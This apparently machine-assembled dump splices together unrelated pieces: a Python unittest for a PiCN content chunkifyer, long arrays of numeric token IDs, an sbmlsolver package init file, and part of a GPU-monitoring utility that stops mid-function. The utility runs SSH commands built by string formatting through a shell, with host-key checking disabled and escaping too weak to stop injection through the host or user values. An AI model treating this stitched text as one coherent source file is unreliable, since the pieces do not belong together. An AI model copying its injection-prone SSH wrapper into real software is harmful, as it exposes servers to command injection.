"""Test for Simple Content Chunkifyer""" import unittest from PiCN.Layers.ChunkLayer.Chunkifyer import SimpleContentChunkifyer from PiCN.Packets import Content, Name class test_SimpleContentChunkifyer(unittest.TestCase): def setUp(self): self.chunkifyer = SimpleContentChunkifyer() def tearDown(self): pass def test_generate_metadata_no_next(self): """Test generating a simple metadata object""" name = Name("/test/data") res = self.chunkifyer.generate_meta_data(2,4,0, 0,name,300) self.assertEqual(res.name.to_string(), "/test/data") self.assertEqual(res.content, "mdo:300:/test/data/c2;/test/data/c3:") def test_generate_metadata_one_next(self): """Test generating a simple metadata object with one following""" name = Name("/test/data") res = self.chunkifyer.generate_meta_data(2,4,0,1,name,300) self.assertEqual(res.name.to_string(), "/test/data") self.assertEqual(res.content, "mdo:300:/test/data/c2;/test/data/c3:/test/data/m1") def test_generate_metadata_two_next(self): """Test generating a simple metadata object with two following""" name = Name("/test/data") res = self.chunkifyer.generate_meta_data(2,4,1,2, name,300) self.assertEqual(res.name.to_string(), "/test/data/m1") self.assertEqual(res.content, "mdo:300:/test/data/c2;/test/data/c3:/test/data/m2") def test_chunk_single_metadata(self): name = Name("/test/data") string = "A" * 4096 + "B" * 4096 + "C" * 4096 content = Content(name, string) md, content = self.chunkifyer.chunk_data(content) md_name_comp = ['/test/data'] md_data_comp = ['mdo:12288:/test/data/c0;/test/data/c1;/test/data/c2:'] content_name_comp = ['/test/data/c0', '/test/data/c1', '/test/data/c2'] content_data_comp = ["A" * 4096, "B" * 4096, "C" * 4096] for i in range(0, len(md)): self.assertEqual(md[i].name.to_string(), md_name_comp[i]) self.assertEqual(md[i].content, md_data_comp[i]) for i in range(0, len(content)): self.assertEqual(content[i].name.to_string(), content_name_comp[i]) self.assertEqual(content[i].content, content_data_comp[i]) def test_chunk_multiple_metadata(self): """Test chunking metadata with three metadata objects and 10 chunks""" name = Name("/test/data") string = "A"*4096 + "B"*4096 + "C"*4096 + "D"*4096 + "E"*4096 + "F"*4096 + "G"*4096 + "H"*4096 \ + "I"*4096 + "J"*4000 content = Content(name, string) md, chunked_content = self.chunkifyer.chunk_data(content) md_name_comp = ['/test/data', '/test/data/m1', '/test/data/m2'] md_data_comp = ['mdo:40864:/test/data/c0;/test/data/c1;/test/data/c2;/test/data/c3:/test/data/m1', 'mdo:40864:/test/data/c4;/test/data/c5;/test/data/c6;/test/data/c7:/test/data/m2', 'mdo:40864:/test/data/c8;/test/data/c9:'] content_name_comp = ['/test/data/c0', '/test/data/c1', '/test/data/c2', '/test/data/c3', '/test/data/c4', '/test/data/c5', '/test/data/c6', '/test/data/c7', '/test/data/c8', '/test/data/c9'] content_data_comp = ["A"*4096, "B"*4096, "C"*4096, "D"*4096, "E"*4096, "F"*4096, "G"*4096, "H"*4096, "I"*4096, "J"*4000] for i in range(0, len(md)): self.assertEqual(md[i].name.to_string(), md_name_comp[i]) self.assertEqual(md[i].content, md_data_comp[i]) for i in range(0, len(chunked_content)): self.assertEqual(chunked_content[i].name.to_string(), content_name_comp[i]) self.assertEqual(chunked_content[i].content, content_data_comp[i]) def test_chunk_multiple_metadata_reassemble(self): """Test chunking metadata with three metadata objects and 10 chunks and reassemble""" name = Name("/test/data") string = "A" * 4096 + "B" * 4096 + "C" * 4096 + "D" * 4096 + "E" * 4096 + "F" * 4096 + "G" * 4096 + "H" * 4096 \ + "I" * 4096 + "J" * 4000 content = Content(name, string) md, chunked_content = self.chunkifyer.chunk_data(content) md_name_comp = ['/test/data', '/test/data/m1', '/test/data/m2'] md_data_comp = ['mdo:40864:/test/data/c0;/test/data/c1;/test/data/c2;/test/data/c3:/test/data/m1', 'mdo:40864:/test/data/c4;/test/data/c5;/test/data/c6;/test/data/c7:/test/data/m2', 'mdo:40864:/test/data/c8;/test/data/c9:'] content_name_comp = ['/test/data/c0', '/test/data/c1', '/test/data/c2', '/test/data/c3', '/test/data/c4', '/test/data/c5', '/test/data/c6', '/test/data/c7', '/test/data/c8', '/test/data/c9'] content_data_comp = ["A" * 4096, "B" * 4096, "C" * 4096, "D" * 4096, "E" * 4096, "F" * 4096, "G" * 4096, "H" * 4096, "I" * 4096, "J" * 4000] for i in range(0, len(md)): self.assertEqual(md[i].name.to_string(), md_name_comp[i]) self.assertEqual(md[i].content, md_data_comp[i]) for i in range(0, len(chunked_content)): self.assertEqual(chunked_content[i].name.to_string(), content_name_comp[i]) self.assertEqual(chunked_content[i].content, content_data_comp[i]) reassembled_content = self.chunkifyer.reassamble_data(md[0].name, chunked_content) self.assertEqual(content, reassembled_content) def test_parse_metadata_next(self): """Test parse metadata with next metadata""" md, names, size = self.chunkifyer.parse_meta_data( "mdo:300:/test/data/c0;/test/data/c1;/test/data/c2;/test/data/c3:/test/data/m1") self.assertEqual(Name("/test/data/m1"), md) names_comp = [Name("/test/data/c0"), Name("/test/data/c1"), Name("/test/data/c2"), Name("/test/data/c3")] self.assertEqual(names, names_comp) self.assertEqual(int(size), 300) def test_parse_metadata(self): """Test parse metadata""" md, names, size = self.chunkifyer.parse_meta_data( "mdo:300:/test/data/c0;/test/data/c1;/test/data/c2;/test/data/c3:") self.assertEqual(None, md) names_comp = [Name("/test/data/c0"), Name("/test/data/c1"), Name("/test/data/c2"), Name("/test/data/c3")] self.assertEqual(names, names_comp) self.assertEqual(int(size), 300)
[ 1, 9995, 3057, 363, 12545, 10576, 678, 2960, 1598, 261, 15945, 29908, 13, 13, 5215, 443, 27958, 13, 13, 3166, 7362, 13778, 29889, 29931, 388, 414, 29889, 1451, 2960, 14420, 29889, 1451, 2960, 1598, 261, 1053, 12545, 3916, 1451, 2960, 1598, 261, 13, 3166, 7362, 13778, 29889, 16638, 1691, 1053, 10576, 29892, 4408, 13, 13, 13, 1990, 1243, 29918, 15427, 3916, 1451, 2960, 1598, 261, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 29812, 1598, 261, 353, 12545, 3916, 1451, 2960, 1598, 261, 580, 13, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 1209, 13, 13, 1678, 822, 1243, 29918, 17158, 29918, 19635, 29918, 1217, 29918, 4622, 29898, 1311, 1125, 13, 4706, 9995, 3057, 14655, 263, 2560, 15562, 1203, 15945, 29908, 13, 4706, 1024, 353, 4408, 11974, 1688, 29914, 1272, 1159, 13, 13, 4706, 620, 353, 1583, 29889, 29812, 1598, 261, 29889, 17158, 29918, 7299, 29918, 1272, 29898, 29906, 29892, 29946, 29892, 29900, 29892, 29871, 29900, 29892, 978, 29892, 29941, 29900, 29900, 29897, 13, 13, 4706, 1583, 29889, 9294, 9843, 29898, 690, 29889, 978, 29889, 517, 29918, 1807, 3285, 5591, 1688, 29914, 1272, 1159, 13, 4706, 1583, 29889, 9294, 9843, 29898, 690, 29889, 3051, 29892, 376, 29885, 1867, 29901, 29941, 29900, 29900, 8419, 1688, 29914, 1272, 29914, 29883, 29906, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29941, 29901, 1159, 13, 13, 1678, 822, 1243, 29918, 17158, 29918, 19635, 29918, 650, 29918, 4622, 29898, 1311, 1125, 13, 4706, 9995, 3057, 14655, 263, 2560, 15562, 1203, 411, 697, 1494, 15945, 29908, 13, 4706, 1024, 353, 4408, 11974, 1688, 29914, 1272, 1159, 13, 13, 4706, 620, 353, 1583, 29889, 29812, 1598, 261, 29889, 17158, 29918, 7299, 29918, 1272, 29898, 29906, 29892, 29946, 29892, 29900, 29892, 29896, 29892, 978, 29892, 29941, 29900, 29900, 29897, 13, 13, 4706, 1583, 29889, 9294, 9843, 29898, 690, 29889, 978, 29889, 517, 29918, 1807, 3285, 5591, 1688, 29914, 1272, 1159, 13, 4706, 1583, 29889, 9294, 9843, 29898, 690, 29889, 3051, 29892, 376, 29885, 1867, 29901, 29941, 29900, 29900, 8419, 1688, 29914, 1272, 29914, 29883, 29906, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29941, 8419, 1688, 29914, 1272, 29914, 29885, 29896, 1159, 13, 13, 1678, 822, 1243, 29918, 17158, 29918, 19635, 29918, 10184, 29918, 4622, 29898, 1311, 1125, 13, 4706, 9995, 3057, 14655, 263, 2560, 15562, 1203, 411, 1023, 1494, 15945, 29908, 13, 4706, 1024, 353, 4408, 11974, 1688, 29914, 1272, 1159, 13, 13, 4706, 620, 353, 1583, 29889, 29812, 1598, 261, 29889, 17158, 29918, 7299, 29918, 1272, 29898, 29906, 29892, 29946, 29892, 29896, 29892, 29906, 29892, 1024, 29892, 29941, 29900, 29900, 29897, 13, 13, 4706, 1583, 29889, 9294, 9843, 29898, 690, 29889, 978, 29889, 517, 29918, 1807, 3285, 5591, 1688, 29914, 1272, 29914, 29885, 29896, 1159, 13, 4706, 1583, 29889, 9294, 9843, 29898, 690, 29889, 3051, 29892, 376, 29885, 1867, 29901, 29941, 29900, 29900, 8419, 1688, 29914, 1272, 29914, 29883, 29906, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29941, 8419, 1688, 29914, 1272, 29914, 29885, 29906, 1159, 13, 13, 1678, 822, 1243, 29918, 29812, 29918, 14369, 29918, 19635, 29898, 1311, 1125, 13, 4706, 1024, 353, 4408, 11974, 1688, 29914, 1272, 1159, 13, 4706, 1347, 353, 376, 29909, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29933, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29907, 29908, 334, 29871, 29946, 29900, 29929, 29953, 13, 4706, 2793, 353, 10576, 29898, 978, 29892, 1347, 29897, 13, 13, 4706, 22821, 29892, 2793, 353, 1583, 29889, 29812, 1598, 261, 29889, 29812, 29918, 1272, 29898, 3051, 29897, 13, 13, 4706, 22821, 29918, 978, 29918, 2388, 353, 6024, 29914, 1688, 29914, 1272, 2033, 13, 4706, 22821, 29918, 1272, 29918, 2388, 353, 6024, 29885, 1867, 29901, 29896, 29906, 29906, 29947, 29947, 8419, 1688, 29914, 1272, 29914, 29883, 29900, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29896, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29906, 29901, 2033, 13, 13, 4706, 2793, 29918, 978, 29918, 2388, 353, 6024, 29914, 1688, 29914, 1272, 29914, 29883, 29900, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29896, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29906, 2033, 13, 13, 4706, 2793, 29918, 1272, 29918, 2388, 353, 6796, 29909, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 376, 29933, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 376, 29907, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29962, 13, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 7431, 29898, 3487, 22164, 13, 9651, 1583, 29889, 9294, 9843, 29898, 3487, 29961, 29875, 1822, 978, 29889, 517, 29918, 1807, 3285, 22821, 29918, 978, 29918, 2388, 29961, 29875, 2314, 13, 9651, 1583, 29889, 9294, 9843, 29898, 3487, 29961, 29875, 1822, 3051, 29892, 22821, 29918, 1272, 29918, 2388, 29961, 29875, 2314, 13, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 7431, 29898, 3051, 22164, 13, 9651, 1583, 29889, 9294, 9843, 29898, 3051, 29961, 29875, 1822, 978, 29889, 517, 29918, 1807, 3285, 2793, 29918, 978, 29918, 2388, 29961, 29875, 2314, 13, 9651, 1583, 29889, 9294, 9843, 29898, 3051, 29961, 29875, 1822, 3051, 29892, 2793, 29918, 1272, 29918, 2388, 29961, 29875, 2314, 13, 13, 13, 1678, 822, 1243, 29918, 29812, 29918, 20787, 29918, 19635, 29898, 1311, 1125, 13, 4706, 9995, 3057, 19875, 292, 15562, 411, 2211, 15562, 3618, 322, 29871, 29896, 29900, 521, 18801, 15945, 29908, 13, 4706, 1024, 353, 4408, 11974, 1688, 29914, 1272, 1159, 13, 4706, 1347, 353, 376, 29909, 29908, 29930, 29946, 29900, 29929, 29953, 718, 376, 29933, 29908, 29930, 29946, 29900, 29929, 29953, 718, 376, 29907, 29908, 29930, 29946, 29900, 29929, 29953, 718, 376, 29928, 29908, 29930, 29946, 29900, 29929, 29953, 718, 376, 29923, 29908, 29930, 29946, 29900, 29929, 29953, 718, 376, 29943, 29908, 29930, 29946, 29900, 29929, 29953, 718, 376, 29954, 29908, 29930, 29946, 29900, 29929, 29953, 718, 376, 29950, 29908, 29930, 29946, 29900, 29929, 29953, 320, 13, 462, 718, 376, 29902, 29908, 29930, 29946, 29900, 29929, 29953, 718, 376, 29967, 29908, 29930, 29946, 29900, 29900, 29900, 13, 4706, 2793, 353, 10576, 29898, 978, 29892, 1347, 29897, 13, 13, 4706, 22821, 29892, 19875, 287, 29918, 3051, 353, 1583, 29889, 29812, 1598, 261, 29889, 29812, 29918, 1272, 29898, 3051, 29897, 13, 13, 4706, 22821, 29918, 978, 29918, 2388, 353, 6024, 29914, 1688, 29914, 1272, 742, 8207, 1688, 29914, 1272, 29914, 29885, 29896, 742, 8207, 1688, 29914, 1272, 29914, 29885, 29906, 2033, 13, 4706, 22821, 29918, 1272, 29918, 2388, 353, 6024, 29885, 1867, 29901, 29946, 29900, 29947, 29953, 29946, 8419, 1688, 29914, 1272, 29914, 29883, 29900, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29896, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29906, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29941, 8419, 1688, 29914, 1272, 29914, 29885, 29896, 742, 13, 462, 4706, 525, 29885, 1867, 29901, 29946, 29900, 29947, 29953, 29946, 8419, 1688, 29914, 1272, 29914, 29883, 29946, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29945, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29953, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29955, 8419, 1688, 29914, 1272, 29914, 29885, 29906, 742, 13, 462, 4706, 525, 29885, 1867, 29901, 29946, 29900, 29947, 29953, 29946, 8419, 1688, 29914, 1272, 29914, 29883, 29947, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29929, 29901, 2033, 13, 13, 4706, 2793, 29918, 978, 29918, 2388, 353, 6024, 29914, 1688, 29914, 1272, 29914, 29883, 29900, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29896, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29906, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29941, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29946, 742, 13, 462, 632, 8207, 1688, 29914, 1272, 29914, 29883, 29945, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29953, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29955, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29947, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29929, 2033, 13, 13, 4706, 2793, 29918, 1272, 29918, 2388, 353, 6796, 29909, 29908, 29930, 29946, 29900, 29929, 29953, 29892, 376, 29933, 29908, 29930, 29946, 29900, 29929, 29953, 29892, 376, 29907, 29908, 29930, 29946, 29900, 29929, 29953, 29892, 376, 29928, 29908, 29930, 29946, 29900, 29929, 29953, 29892, 376, 29923, 29908, 29930, 29946, 29900, 29929, 29953, 29892, 376, 29943, 29908, 29930, 29946, 29900, 29929, 29953, 29892, 376, 29954, 29908, 29930, 29946, 29900, 29929, 29953, 29892, 376, 29950, 29908, 29930, 29946, 29900, 29929, 29953, 29892, 13, 462, 632, 376, 29902, 29908, 29930, 29946, 29900, 29929, 29953, 29892, 376, 29967, 29908, 29930, 29946, 29900, 29900, 29900, 29962, 13, 13, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 7431, 29898, 3487, 22164, 13, 9651, 1583, 29889, 9294, 9843, 29898, 3487, 29961, 29875, 1822, 978, 29889, 517, 29918, 1807, 3285, 22821, 29918, 978, 29918, 2388, 29961, 29875, 2314, 13, 9651, 1583, 29889, 9294, 9843, 29898, 3487, 29961, 29875, 1822, 3051, 29892, 22821, 29918, 1272, 29918, 2388, 29961, 29875, 2314, 13, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 7431, 29898, 29812, 287, 29918, 3051, 22164, 13, 9651, 1583, 29889, 9294, 9843, 29898, 29812, 287, 29918, 3051, 29961, 29875, 1822, 978, 29889, 517, 29918, 1807, 3285, 2793, 29918, 978, 29918, 2388, 29961, 29875, 2314, 13, 9651, 1583, 29889, 9294, 9843, 29898, 29812, 287, 29918, 3051, 29961, 29875, 1822, 3051, 29892, 2793, 29918, 1272, 29918, 2388, 29961, 29875, 2314, 13, 13, 1678, 822, 1243, 29918, 29812, 29918, 20787, 29918, 19635, 29918, 276, 465, 6967, 29898, 1311, 1125, 13, 4706, 9995, 3057, 19875, 292, 15562, 411, 2211, 15562, 3618, 322, 29871, 29896, 29900, 521, 18801, 322, 337, 465, 6967, 15945, 29908, 13, 4706, 1024, 353, 4408, 11974, 1688, 29914, 1272, 1159, 13, 4706, 1347, 353, 376, 29909, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29933, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29907, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29928, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29923, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29943, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29954, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29950, 29908, 334, 29871, 29946, 29900, 29929, 29953, 320, 13, 462, 718, 376, 29902, 29908, 334, 29871, 29946, 29900, 29929, 29953, 718, 376, 29967, 29908, 334, 29871, 29946, 29900, 29900, 29900, 13, 4706, 2793, 353, 10576, 29898, 978, 29892, 1347, 29897, 13, 13, 4706, 22821, 29892, 19875, 287, 29918, 3051, 353, 1583, 29889, 29812, 1598, 261, 29889, 29812, 29918, 1272, 29898, 3051, 29897, 13, 13, 4706, 22821, 29918, 978, 29918, 2388, 353, 6024, 29914, 1688, 29914, 1272, 742, 8207, 1688, 29914, 1272, 29914, 29885, 29896, 742, 8207, 1688, 29914, 1272, 29914, 29885, 29906, 2033, 13, 4706, 22821, 29918, 1272, 29918, 2388, 353, 6024, 29885, 1867, 29901, 29946, 29900, 29947, 29953, 29946, 8419, 1688, 29914, 1272, 29914, 29883, 29900, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29896, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29906, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29941, 8419, 1688, 29914, 1272, 29914, 29885, 29896, 742, 13, 462, 4706, 525, 29885, 1867, 29901, 29946, 29900, 29947, 29953, 29946, 8419, 1688, 29914, 1272, 29914, 29883, 29946, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29945, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29953, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29955, 8419, 1688, 29914, 1272, 29914, 29885, 29906, 742, 13, 462, 4706, 525, 29885, 1867, 29901, 29946, 29900, 29947, 29953, 29946, 8419, 1688, 29914, 1272, 29914, 29883, 29947, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29929, 29901, 2033, 13, 13, 4706, 2793, 29918, 978, 29918, 2388, 353, 6024, 29914, 1688, 29914, 1272, 29914, 29883, 29900, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29896, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29906, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29941, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29946, 742, 13, 462, 632, 8207, 1688, 29914, 1272, 29914, 29883, 29945, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29953, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29955, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29947, 742, 8207, 1688, 29914, 1272, 29914, 29883, 29929, 2033, 13, 13, 4706, 2793, 29918, 1272, 29918, 2388, 353, 6796, 29909, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 376, 29933, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 376, 29907, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 376, 29928, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 376, 29923, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 376, 29943, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 376, 29954, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 13, 462, 632, 376, 29950, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 13, 462, 632, 376, 29902, 29908, 334, 29871, 29946, 29900, 29929, 29953, 29892, 376, 29967, 29908, 334, 29871, 29946, 29900, 29900, 29900, 29962, 13, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 7431, 29898, 3487, 22164, 13, 9651, 1583, 29889, 9294, 9843, 29898, 3487, 29961, 29875, 1822, 978, 29889, 517, 29918, 1807, 3285, 22821, 29918, 978, 29918, 2388, 29961, 29875, 2314, 13, 9651, 1583, 29889, 9294, 9843, 29898, 3487, 29961, 29875, 1822, 3051, 29892, 22821, 29918, 1272, 29918, 2388, 29961, 29875, 2314, 13, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 7431, 29898, 29812, 287, 29918, 3051, 22164, 13, 9651, 1583, 29889, 9294, 9843, 29898, 29812, 287, 29918, 3051, 29961, 29875, 1822, 978, 29889, 517, 29918, 1807, 3285, 2793, 29918, 978, 29918, 2388, 29961, 29875, 2314, 13, 9651, 1583, 29889, 9294, 9843, 29898, 29812, 287, 29918, 3051, 29961, 29875, 1822, 3051, 29892, 2793, 29918, 1272, 29918, 2388, 29961, 29875, 2314, 13, 13, 4706, 337, 465, 6967, 29881, 29918, 3051, 353, 1583, 29889, 29812, 1598, 261, 29889, 276, 465, 314, 569, 29918, 1272, 29898, 3487, 29961, 29900, 1822, 978, 29892, 19875, 287, 29918, 3051, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 3051, 29892, 337, 465, 6967, 29881, 29918, 3051, 29897, 13, 13, 13, 1678, 822, 1243, 29918, 5510, 29918, 19635, 29918, 4622, 29898, 1311, 1125, 13, 4706, 9995, 3057, 6088, 15562, 411, 2446, 15562, 15945, 29908, 13, 4706, 22821, 29892, 2983, 29892, 2159, 353, 1583, 29889, 29812, 1598, 261, 29889, 5510, 29918, 7299, 29918, 1272, 29898, 13, 9651, 376, 29885, 1867, 29901, 29941, 29900, 29900, 8419, 1688, 29914, 1272, 29914, 29883, 29900, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29896, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29906, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29941, 8419, 1688, 29914, 1272, 29914, 29885, 29896, 1159, 13, 13, 4706, 1583, 29889, 9294, 9843, 29898, 1170, 11974, 1688, 29914, 1272, 29914, 29885, 29896, 4968, 22821, 29897, 13, 4706, 2983, 29918, 2388, 353, 518, 1170, 11974, 1688, 29914, 1272, 29914, 29883, 29900, 4968, 4408, 11974, 1688, 29914, 1272, 29914, 29883, 29896, 4968, 4408, 11974, 1688, 29914, 1272, 29914, 29883, 29906, 4968, 4408, 11974, 1688, 29914, 1272, 29914, 29883, 29941, 13531, 13, 4706, 1583, 29889, 9294, 9843, 29898, 7039, 29892, 2983, 29918, 2388, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 524, 29898, 2311, 511, 29871, 29941, 29900, 29900, 29897, 13, 13, 1678, 822, 1243, 29918, 5510, 29918, 19635, 29898, 1311, 1125, 13, 4706, 9995, 3057, 6088, 15562, 15945, 29908, 13, 4706, 22821, 29892, 2983, 29892, 2159, 353, 1583, 29889, 29812, 1598, 261, 29889, 5510, 29918, 7299, 29918, 1272, 29898, 13, 9651, 376, 29885, 1867, 29901, 29941, 29900, 29900, 8419, 1688, 29914, 1272, 29914, 29883, 29900, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29896, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29906, 29936, 29914, 1688, 29914, 1272, 29914, 29883, 29941, 29901, 1159, 13, 13, 4706, 1583, 29889, 9294, 9843, 29898, 8516, 29892, 22821, 29897, 13, 4706, 2983, 29918, 2388, 353, 518, 1170, 11974, 1688, 29914, 1272, 29914, 29883, 29900, 4968, 4408, 11974, 1688, 29914, 1272, 29914, 29883, 29896, 4968, 4408, 11974, 1688, 29914, 1272, 29914, 29883, 29906, 4968, 4408, 11974, 1688, 29914, 1272, 29914, 29883, 29941, 13531, 13, 4706, 1583, 29889, 9294, 9843, 29898, 7039, 29892, 2983, 29918, 2388, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 524, 29898, 2311, 511, 29871, 29941, 29900, 29900, 29897, 2 ]
wrappers/Python/sbmlsolver/__init__.py
gitter-badger/sbmlsolver
0
18129
<reponame>gitter-badger/sbmlsolver<gh_stars>0 """ The LibRoadRunner SBML Simulation Engine, (c) 2009-2014 <NAME> and <NAME> LibRoadRunner is an SBML JIT compiler and simulation engine with a variety of analysis functions. LibRoadRunner is a self contained library which is designed to be integrated into existing simulation platforms or may be used a stand alone simulation and analysis package. """ from sbmlsolver import * __version__ = getVersionStr()
[ 1, 529, 276, 1112, 420, 29958, 29887, 5171, 29899, 12313, 914, 29914, 20778, 828, 2929, 369, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 15945, 29908, 13, 1576, 8153, 9588, 328, 16802, 317, 29933, 1988, 3439, 2785, 10863, 29892, 313, 29883, 29897, 29871, 29906, 29900, 29900, 29929, 29899, 29906, 29900, 29896, 29946, 529, 5813, 29958, 322, 529, 5813, 29958, 13, 13, 14868, 9588, 328, 16802, 338, 385, 317, 29933, 1988, 435, 1806, 6516, 322, 17402, 6012, 411, 263, 12875, 310, 7418, 13, 12171, 29889, 8153, 9588, 328, 16802, 338, 263, 1583, 11122, 3489, 607, 338, 8688, 304, 367, 23387, 13, 8941, 5923, 17402, 21796, 470, 1122, 367, 1304, 263, 2317, 7432, 17402, 322, 7418, 13, 5113, 29889, 13, 15945, 29908, 13, 13, 3166, 17444, 828, 2929, 369, 1053, 334, 13, 13, 1649, 3259, 1649, 353, 679, 6594, 5015, 580, 13, 2 ]
gpu_info/utils.py
cnstark/gputasker
35
132562
<gh_stars>10-100 import os import subprocess import json import logging from .models import GPUServer, GPUInfo task_logger = logging.getLogger('django.task') def ssh_execute(host, user, exec_cmd, port=22, private_key_path=None): exec_cmd = exec_cmd.replace('\r\n', '\n').replace('$', '\\$') if exec_cmd[-1] != '\n': exec_cmd = exec_cmd + '\n' if private_key_path is None: cmd = "ssh -o StrictHostKeyChecking=no -p {:d} {}@{} \"{}\"".format(port, user, host, exec_cmd) else: cmd = "ssh -o StrictHostKeyChecking=no -p {:d} -i {} {}@{} \"{}\"".format(port, private_key_path, user, host, exec_cmd) return subprocess.check_output(cmd, timeout=60, shell=True) def get_hostname(host, user, port=22, private_key_path=None): cmd = "hostname" return str(ssh_execute( host, user, cmd, port, private_key_path ).replace(b'\n', b'')).replace('b\'', '').replace('\'', '') def add_hostname(server, user, private_key_path=None): hostname = get_hostname(server.ip, user, server.port, private_key_path) server.hostname = hostname server.save() def get_gpu_status(host, user, port=22, private_key_path=None): gpu_info_list = [] query_gpu_cmd = 'nvidia-smi --query-gpu=uuid,gpu_name,utilization.gpu,memory.total,memory.used --format=csv | grep -v \'uuid\'' gpu_info_raw = ssh_execute(host, user, query_gpu_cmd, port, private_key_path).decode('utf-8') gpu_info_dict = {} for index, gpu_info_line in enumerate(gpu_info_raw.split('\n')): try: gpu_info_items = gpu_info_line.split(',') gpu_info = {} gpu_info['index'] = index gpu_info['uuid'] = gpu_info_items[0].strip() gpu_info['name'] = gpu_info_items[1].strip() gpu_info['utilization.gpu'] = int(gpu_info_items[2].strip().split(' ')[0]) gpu_info['memory.total'] = int(gpu_info_items[3].strip().split(' ')[0]) gpu_info['memory.used'] = int(gpu_info_items[4].strip().split(' ')[0]) gpu_info['processes'] = [] gpu_info_list.append(gpu_info) gpu_info_dict[gpu_info['uuid']] = gpu_info except Exception: continue pid_set = set([]) if len(gpu_info_list) != 0: query_apps_cmd = 'nvidia-smi --query-compute-apps=gpu_uuid,pid,process_name,used_memory --format=csv' app_info_raw = ssh_execute(host, user, query_apps_cmd, port, private_key_path).decode('utf-8') for app_info_line in app_info_raw.split('\n')[1:]: try: app_info_items = app_info_line.split(',') app_info = {} uuid = app_info_items[0].strip() app_info['pid'] = int(app_info_items[1].strip()) app_info['command'] = app_info_items[2].strip() app_info['gpu_memory_usage'] = int(app_info_items[3].strip().split(' ')[0]) if app_info['gpu_memory_usage'] != 0: gpu_info_dict[uuid]['processes'].append(app_info) pid_set.add(app_info['pid']) except Exception: continue pid_username_dict = {} if len(pid_set) != 0: query_pid_cmd = 'ps -o ruser=userForLongName -o pid -p ' + ' '.join(map(str, pid_set)) + ' | awk \'{print $1, $2}\' | grep -v \'PID\'' pid_raw = ssh_execute(host, user, query_pid_cmd, port, private_key_path).decode('utf-8') for pid_line in pid_raw.split('\n'): try: username, pid = pid_line.split(' ') pid = int(pid.strip()) pid_username_dict[pid] = username.strip() except Exception: continue for gpu_info in gpu_info_list: for process in gpu_info['processes']: process['username'] = pid_username_dict.get(process['pid'], '') return gpu_info_list class GPUInfoUpdater: def __init__(self, user, private_key_path=None): self.user = user self.private_key_path = private_key_path self.utilization_history = {} def update_utilization(self, uuid, utilization): if self.utilization_history.get(uuid) is None: self.utilization_history[uuid] = [utilization] return utilization else: 